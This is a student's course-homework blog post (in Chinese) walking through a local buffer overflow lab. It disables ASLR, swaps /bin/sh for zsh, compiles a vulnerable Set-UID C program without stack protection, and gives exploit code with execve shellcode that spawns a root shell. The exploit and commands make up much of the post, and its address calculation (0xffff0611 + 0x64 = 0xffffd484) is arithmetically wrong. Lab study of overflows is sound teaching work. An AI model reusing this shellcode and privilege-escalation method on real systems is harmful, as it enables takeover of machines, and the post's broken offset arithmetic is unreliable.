2019-2020-1 20199313《Linux内核原理与分析》第十一周作业
第十一周学习——“缓冲区溢出攻击实验”
-
问题描述:
- 经过上一阶段的学习,我们逐渐了解了计算机操作系统的核心工作机制,并且对Linux内核装载和启动一个可执行程序。学习跟踪了schedule,pick_next_task和context_switch等函数。
-
本周学习:
- 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性
- 并理解防范和避免缓冲区溢出攻击的措施。
- 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性
一、理论阐述
缓冲区溢出(Buffer Overflow)
缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。
缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,
写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,
造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。
时下特点
是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。
利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,
在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。
实现过程
思路
在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,
保存了函数调用过程中的返回地址、
栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、
ret(返回地址)和EBP(栈底)
的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,
这个内存空间被申请占用的过程是从
内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,
其填入的顺序是从低地址内存空间向
高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP
和ret地址,恢复到调用函数原有地
址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量
写越界,覆盖了高地址内存空间中ret、
EBP的信息,造成缓冲区溢出。
过程:
-
先安装环境和工具包
$ sudo apt-get install -y lib32z1 libc6-dev-i386 $ sudo apt-get install -y lib32readline-gplv2-dev
-
初始设置
Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:$ sudo sysctl -w kernel.randomize_va_space=0
-
设置zsh
为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
-
linux调制32位工作
$linux32 $/bin/bash
-
漏洞程序
int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
-
并进行编译
$ sudo su $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c $ chmod u+s stack $ exit
-
攻击程序
char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
其中:\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
$ gdb stack
$ disass main
通过设置断点可以发现地址位0xffff0611
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffff0611(十六进制) + 0x64(100的十六进制) = 0xffffd484(十六进制)
- 编译后,先运行攻击程序 exploit,再运行漏洞程序 stack
夺取权限成功。
三、总结
-
Set-UID是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行的时候,它被假设为拥有者的权限。例如,如果程序的拥有者是root,那么任何人运行这个程序时都会获得程序拥有者的权限。
-
有效利用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,可以提高防范溢出攻击的能力。